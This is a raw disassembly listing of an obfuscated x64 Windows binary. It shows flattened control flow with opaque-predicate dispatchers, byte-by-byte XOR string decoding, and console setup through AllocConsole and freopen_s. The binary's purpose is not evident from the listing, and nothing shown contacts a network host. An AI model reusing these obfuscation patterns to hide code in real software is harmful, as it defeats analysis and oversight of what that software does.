jne 0x14000fdb0
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000fdb0
cmp eax, 0xe804e5f4
je 0x14000fe25
cmp eax, 0x9209573
jne 0x14000fdb0
mov eax, 0x10a09de6
jmp 0x14000fdb0
mov eax, 0x65935c71
jmp 0x14000fdb0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x17
mov rsp, r13
mov rdx, rsp
mov byte [rsi + 0xc], al
movzx ebx, byte [rbx + 0xd]
mov eax, 0x9c6a156
jmp 0x14000fea0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop dword [rax]
cmp eax, 0x9c6a155
jle 0x14000ff00
cmp eax, 0x65935c71
je 0x14000fe49
cmp eax, 0x10a09de6
je 0x14000ff1c
cmp eax, 0x9c6a156
jne 0x14000fea0
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000fea0
cmp eax, 0xe804e5f4
je 0x14000ff15
cmp eax, 0x9209573
jne 0x14000fea0
mov eax, 0x10a09de6
jmp 0x14000fea0
mov eax, 0x65935c71
jmp 0x14000fea0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x18
mov rsp, rdx
mov rdx, rsp
mov byte [rsi + 0xd], al
mov rbx, qword [rcx]
movzx r13d, byte [rbx + 0xe]
mov eax, 0x9c6a156
jmp 0x14000ffa0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], r13b
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140010000
cmp eax, 0x65935c71
je 0x14000ff3d
cmp eax, 0x10a09de6
je 0x14001001c
cmp eax, 0x9c6a156
jne 0x14000ffa0
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x14000ffa0
cmp eax, 0xe804e5f4
je 0x140010015
cmp eax, 0x9209573
jne 0x14000ffa0
mov eax, 0x10a09de6
jmp 0x14000ffa0
mov eax, 0x65935c71
jmp 0x14000ffa0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x19
mov rsp, rdx
mov rdx, rsp
mov byte [rsi + 0xe], al
movzx ebx, byte [rbx + 0xf]
mov eax, 0x9c6a156
jmp 0x140010090
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax - 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop
cmp eax, 0x9c6a155
jle 0x1400100f0
cmp eax, 0x65935c71
je 0x140010039
cmp eax, 0x10a09de6
je 0x14001010c
cmp eax, 0x9c6a156
jne 0x140010090
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x140010090
cmp eax, 0xe804e5f4
je 0x140010105
cmp eax, 0x9209573
jne 0x140010090
mov eax, 0x10a09de6
jmp 0x140010090
mov eax, 0x65935c71
jmp 0x140010090
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1a
mov rsp, rdx
mov rdx, rsp
mov byte [rsi + 0xf], al
mov rbx, qword [rcx]
movzx r13d, byte [rbx + 0x10]
mov eax, 0x9c6a156
jmp 0x140010190
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], r13b
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r9d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x1400101f0
cmp eax, 0x65935c71
je 0x14001012d
cmp eax, 0x10a09de6
je 0x14001020c
cmp eax, 0x9c6a156
jne 0x140010190
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, r8b
cmovne eax, r11d
jmp 0x140010190
cmp eax, 0xe804e5f4
je 0x140010205
cmp eax, 0x9209573
jne 0x140010190
mov eax, 0x10a09de6
jmp 0x140010190
mov eax, 0x65935c71
jmp 0x140010190
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1b
mov rsp, rdx
mov r13, rsp
mov byte [rsi + 0x10], al
movzx edx, byte [rbx + 0x11]
mov eax, 0x9c6a156
jmp 0x140010290
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r9d
cmp edi, 0xffffffff
mov eax, ebx
cmove eax, r9d
cmp r8d, 0xa
cmovge eax, ebx
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x1400102f0
cmp eax, 0x65935c71
je 0x140010229
cmp eax, 0x10a09de6
je 0x14001030c
cmp eax, 0x9c6a156
jne 0x140010290
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl bl
xor bl, r8b
cmovne eax, r11d
jmp 0x140010290
cmp eax, 0xe804e5f4
je 0x140010305
cmp eax, 0x9209573
jne 0x140010290
mov eax, 0x10a09de6
jmp 0x140010290
mov eax, 0x65935c71
jmp 0x140010290
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1c
mov rsp, r13
mov rdx, rsp
mov byte [rsi + 0x11], al
mov rax, qword [rcx]
movzx ecx, byte [rax + 0x12]
mov eax, 0x9c6a156
jmp 0x140010390
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], cl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl bl
xor bl, r8b
cmovne eax, r9d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x1400103f0
cmp eax, 0x65935c71
je 0x14001032c
cmp eax, 0x10a09de6
je 0x14001040c
cmp eax, 0x9c6a156
jne 0x140010390
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl bl
xor bl, r8b
cmovne eax, r11d
jmp 0x140010390
cmp eax, 0xe804e5f4
je 0x140010405
cmp eax, 0x9209573
jne 0x140010390
mov eax, 0x10a09de6
jmp 0x140010390
mov eax, 0x65935c71
jmp 0x140010390
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1d
mov rsp, rdx
mov byte [rsi + 0x12], al
mov eax, 0x2ccc413b
jmp 0x14000d8dc
movzx ecx, byte [rbp + 0x168]
movzx eax, byte [rbp + 0x170]
mov edx, ecx
xor dl, al
mov edx, 0x4fef4114
mov r8d, 0x2ccc413b
cmovne edx, r8d
test al, al
mov eax, edx
cmovne eax, r8d
test cl, cl
cmove eax, edx
jmp 0x14000d8dc
cmp eax, 0x2a706f1f
jne 0x14000d8dc
mov rax, qword [rbp + 0x1e8]
mov eax, 0x2b52139c
mov rsp, qword [rbp + 0x128]
jmp 0x14000d810
mov rax, qword [rbp + 0x180]
mov rsp, qword [rbp + 0x120]
sub rsp, 0x20
lea rcx, [rbp + 0x138]
mov rdi, rbp
mov rdx, rdi
call fcn.140027000
add rsp, 0x20
sub rsp, 0x20
mov rcx, rdi
call fcn.140026980
add rsp, 0x20
mov ebx, eax
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov r15d, 0xb5ee369a
mov r12d, 0xa1dae94d
jmp 0x1400104e0
mov eax, 0xe9738f9d
nop word cs:[rax + rax]
cmp eax, 0xe9738f9d
je 0x140010642
cmp eax, 0x8e514f33
jne 0x1400104e0
sub rsp, 0x20
mov rcx, rdi
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x1e8]
cmp ecx, 0xa
setl byte [rbp + 0x190]
mov eax, 0xc7dc8da9
nop word cs:[rax + rax]
cmp eax, 0x354e3b8b
jg 0x140010590
cmp eax, 0xa1dae94d
je 0x1400105d7
cmp eax, 0xb5ee369a
je 0x1400105f8
cmp eax, 0xc7dc8da9
jne 0x140010540
movzx ecx, byte [rbp + 0x1e8]
movzx eax, byte [rbp + 0x190]
mov edx, ecx
xor dl, al
mov edx, 0xb5ee369a
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x140010540
cmp eax, 0x354e3b8c
je 0x1400104cd
cmp eax, 0x559d78c6
je 0x140010602
cmp eax, 0x66202512
jne 0x140010540
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x1b0]
nop word cs:[rax + rax]
cmp eax, 0x51eaacfe
je 0x1400105d0
cmp eax, 0x89bfb55a
jne 0x1400105c0
jmp 0x1400105e1
mov eax, 0x89bfb55a
jmp 0x1400105c0
mov eax, 0x66202512
jmp 0x140010540
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x140010540
mov eax, 0x559d78c6
jmp 0x140010540
mov qword [rbp + 0x1b0], rdi
mov eax, dword [0x1402b5af0]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xb5ee369a
cmove eax, r12d
cmp dword [0x1402b5af4], 0xa
cmovge eax, r15d
setl dl
xor dl, cl
cmovne eax, r12d
jmp 0x140010540
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete dl
setne al
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x140010682
or cl, al
je 0x140010682
nop word cs:[rax + rax]
jmp 0x140010680
test bl, bl
je 0x14001073d
mov qword [rbp + 0x120], rsp
mov eax, dword [0x1402b5c90]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5c94], 0xa
setl cl
or cl, al
mov eax, 0x30b87c25
mov edx, 0x6c0033be
cmove eax, edx
mov ecx, 0xada74995
cmove ecx, edx
mov edx, 0x23af8f4c
jmp 0x1400106e0
mov edx, ecx
nop word cs:[rax + rax]
cmp edx, 0x23af8f4b
jle 0x140010710
cmp edx, 0x23af8f4c
je 0x1400106cf
cmp edx, 0x30b87c25
je 0x140010736
cmp edx, 0x6c0033be
jne 0x1400106e0
mov edx, 0xada74995
jmp 0x1400106e0
cmp edx, 0x831a9ead
je 0x140010832
cmp edx, 0xada74995
jne 0x1400106e0
lea rdx, [0x14029b96d]
mov qword [rbp + 0x170], rdx
mov edx, eax
jmp 0x1400106e0
mov edx, 0x831a9ead
jmp 0x1400106e0
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rsi, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov ecx, 1
call rsi
lea rdi, str.CONOUT_
lea r15, [0x14029bef0]
mov r12, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
lea rbx, [rbp - 0x38]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
mov r9, rax
call r12
xor ecx, ecx
call rsi
lea rdx, str.CONIN_
mov rcx, rbx
mov r8, r15
mov r9, rax
call r12
mov ecx, 2
call rsi
lea r8, [0x14029b67a]
mov rcx, rbx
mov rdx, rdi
mov r9, rax
call r12
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140028f80
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
mov rcx, rbp
call section..text
add rsp, 0x20
sub rsp, 0x20
mov rdx, rbp
mov rcx, r15
call fcn.140002980
add rsp, 0x20
mov edx, dword [0x1402b5ca8]
lea ecx, [rdx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete dl
setne r9b
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x140013a42
or cl, r9b
je 0x140013a42
nop word cs:[rax + rax]
jmp 0x140010830
mov rax, qword [rbp + 0x170]
lea rcx, [rbp + 0x1b0]
mov qword [rbp + 0x178], rcx
mov qword [rbp + 0x180], rax
mov eax, 0x8e0c9618
mov r8d, 0x9209573
mov r9d, 0xe804e5f4
mov r10d, 0x65935c71
nop word cs:[rax + rax]
cmp eax, 0x2b52139c
je 0x1400134c1
cmp eax, 0x8e0c9618
jne 0x140010870
mov qword [rbp + 0x128], rsp
mov r12, qword [rbp + 0x178]
mov r13, qword [rbp + 0x180]
movzx eax, byte [rbp + 0x188]
mov eax, dword [0x1402b5c98]
mov ecx, dword [0x1402b5c9c]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete byte [rbp + 0x1e0]
cmp ecx, 0xa
setl byte [rbp + 0x168]
mov eax, 0x2a0c6e60
jmp 0x140010950
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1d
mov rsp, rcx
mov byte [rsi + 0x12], al
mov eax, dword [0x1402b5c98]
mov ecx, dword [0x1402b5c9c]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r11b
cmp ecx, 0xa
setl bl
xor bl, r11b
mov r11d, 0x4fef4114
mov edi, 0x53df21fc
cmovne r11d, edi
test eax, edx
mov eax, r11d
cmove eax, edi
cmp ecx, 0xa
cmovge eax, r11d
add rsi, 0x13
mov qword [rbp + 0x1e8], rsi
mov rcx, qword [rbp + 0x1d0]
mov rcx, qword [rcx]
add rcx, 0x13
mov qword [rbp + 0x190], rcx
nop word cs:[rax + rax]
cmp eax, 0x352d2927
jg 0x1400109d0
cmp eax, 0x2a0c6e5f
jle 0x140010a20
cmp eax, 0x2a0c6e60
je 0x140013467
cmp eax, 0x2ccc413b
jne 0x14001349e
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov rcx, rsp
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0x1d0]
mov qword [rax], r13
mov qword [rbp + 0x200], r12
mov rsi, qword [rbp + 0x200]
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax]
mov eax, 0x9c6a156
jmp 0x140010ac0
cmp eax, 0x53df21fb
jg 0x140010a50
cmp eax, 0x352d2928
je 0x140011fbc
cmp eax, 0x4fef4114
jne 0x140010950
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rsi, rsp
mov rcx, rsp
mov qword [rsi], r13
movzx edi, byte [r13]
mov eax, 0x9c6a156
jmp 0x140010ca0
cmp eax, 0xc55c03d3
je 0x140010d32
cmp eax, 0x3a8cfc5
jne 0x140010950
mov rcx, rsp
mov rax, qword [rbp + 0x190]
movzx esi, byte [rax]
mov eax, 0x9c6a156
jmp 0x140010bb0
cmp eax, 0x53df21fc
je 0x140012007
cmp eax, 0x5aba48f0
jne 0x140010950
mov eax, 0x352d2928
jmp 0x140010950
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
cmp eax, 0x9c6a155
jle 0x140010b30
cmp eax, 0x65935c71
je 0x140010a70
cmp eax, 0x10a09de6
je 0x140010d69
cmp eax, 0x9c6a156
jne 0x140010ac0
mov eax, dword [0x1402b5ca0]
mov r15d, dword [0x1402b5ca4]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp r15d, 0xa
setl r11b
xor r11b, al
mov r11d, 0xe804e5f4
cmovne r11d, r10d
cmp edx, 0xffffffff
mov eax, r11d
cmove eax, r10d
cmp r15d, 0xa
cmovge eax, r11d
jmp 0x140010ac0
cmp eax, 0xe804e5f4
je 0x140010b48
cmp eax, 0x9209573
jne 0x140010ac0
mov eax, 0x10a09de6
jmp 0x140010ac0
mov eax, 0x65935c71
jmp 0x140010ac0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], sil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140010c20
cmp eax, 0x65935c71
je 0x140010b52
cmp eax, 0x10a09de6
je 0x140012011
cmp eax, 0x9c6a156
jne 0x140010bb0
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov edi, 0xe804e5f4
cmovne edi, r10d
cmp r11d, 0xffffffff
mov eax, edi
cmove eax, r10d
cmp edx, 0xa
cmovge eax, edi
jmp 0x140010bb0
cmp eax, 0xe804e5f4
je 0x140010c38
cmp eax, 0x9209573
jne 0x140010bb0
mov eax, 0x10a09de6
jmp 0x140010bb0
mov eax, 0x65935c71
jmp 0x140010bb0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140010d10
cmp eax, 0x65935c71
je 0x140010c42
cmp eax, 0x10a09de6
je 0x140012264
cmp eax, 0x9c6a156
jne 0x140010ca0
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl r15b
xor r15b, bl
mov ebx, 0xe804e5f4
cmovne ebx, r10d
test eax, r11d
mov eax, ebx
cmove eax, r10d
cmp edx, 0xa
cmovge eax, ebx
jmp 0x140010ca0
cmp eax, 0xe804e5f4
je 0x140010d28
cmp eax, 0x9209573
jne 0x140010ca0
mov eax, 0x10a09de6
jmp 0x140010ca0
mov eax, 0x65935c71
jmp 0x140010ca0
mov eax, dword [0x1402b5c98]
mov ecx, dword [0x1402b5c9c]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r11b
xor r11b, al
mov r11d, 0x5aba48f0
mov esi, 0x352d2928
jmp 0x140011fee
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xb
mov rsp, rcx
mov rcx, rsp
mov byte [rsi], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 1]
mov eax, 0x9c6a156
jmp 0x140010de0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop
cmp eax, 0x9c6a155
jle 0x140010e40
cmp eax, 0x65935c71
je 0x140010d8f
cmp eax, 0x10a09de6
je 0x140010e5c
cmp eax, 0x9c6a156
jne 0x140010de0
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140010de0
cmp eax, 0xe804e5f4
je 0x140010e55
cmp eax, 0x9209573
jne 0x140010de0
mov eax, 0x10a09de6
jmp 0x140010de0
mov eax, 0x65935c71
jmp 0x140010de0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xc
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 1], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 2]
mov eax, 0x9c6a156
jmp 0x140010ef0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl r15b
xor r15b, al
mov r15d, 0xe804e5f4
cmovne r15d, r8d
cmp r11d, 0xffffffff
mov eax, r15d
cmove eax, r8d
cmp edx, 0xa
cmovge eax, r15d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140010f50
cmp eax, 0x65935c71
je 0x140010e83
cmp eax, 0x10a09de6
je 0x140010f6c
cmp eax, 0x9c6a156
jne 0x140010ef0
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140010ef0
cmp eax, 0xe804e5f4
je 0x140010f65
cmp eax, 0x9209573
jne 0x140010ef0
mov eax, 0x10a09de6
jmp 0x140010ef0
mov eax, 0x65935c71
jmp 0x140010ef0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xd
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 2], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 3]
mov eax, 0x9c6a156
jmp 0x140010ff0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete r15b
cmp edx, 0xa
setl bl
xor bl, r15b
mov ebx, 0xe804e5f4
cmovne ebx, r8d
test eax, r11d
mov eax, ebx
cmove eax, r8d
cmp edx, 0xa
cmovge eax, ebx
cmp eax, 0x9c6a155
jle 0x140011050
cmp eax, 0x65935c71
je 0x140010f93
cmp eax, 0x10a09de6
je 0x14001106c
cmp eax, 0x9c6a156
jne 0x140010ff0
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140010ff0
cmp eax, 0xe804e5f4
je 0x140011065
cmp eax, 0x9209573
jne 0x140010ff0
mov eax, 0x10a09de6
jmp 0x140010ff0
mov eax, 0x65935c71
jmp 0x140010ff0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xe
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 3], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 4]
mov eax, 0x9c6a156
jmp 0x1400110f0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140011160
cmp eax, 0x65935c71
je 0x140011093
cmp eax, 0x10a09de6
je 0x140011182
cmp eax, 0x9c6a156
jne 0x1400110f0
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r10d
cmp r11d, 0xffffffff
mov eax, ebx
cmove eax, r10d
cmp edx, 0xa
cmovge eax, ebx
jmp 0x1400110f0
cmp eax, 0xe804e5f4
je 0x140011178
cmp eax, 0x9209573
jne 0x1400110f0
mov eax, 0x10a09de6
jmp 0x1400110f0
mov eax, 0x65935c71
jmp 0x1400110f0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xf
mov rsp, rcx
mov rcx, rsp
mov byte [rsi + 4], al
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
movzx edi, byte [rax + 5]
mov eax, 0x9c6a156
jmp 0x140011210
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r8d
cmp r11d, 0xffffffff
mov eax, ebx
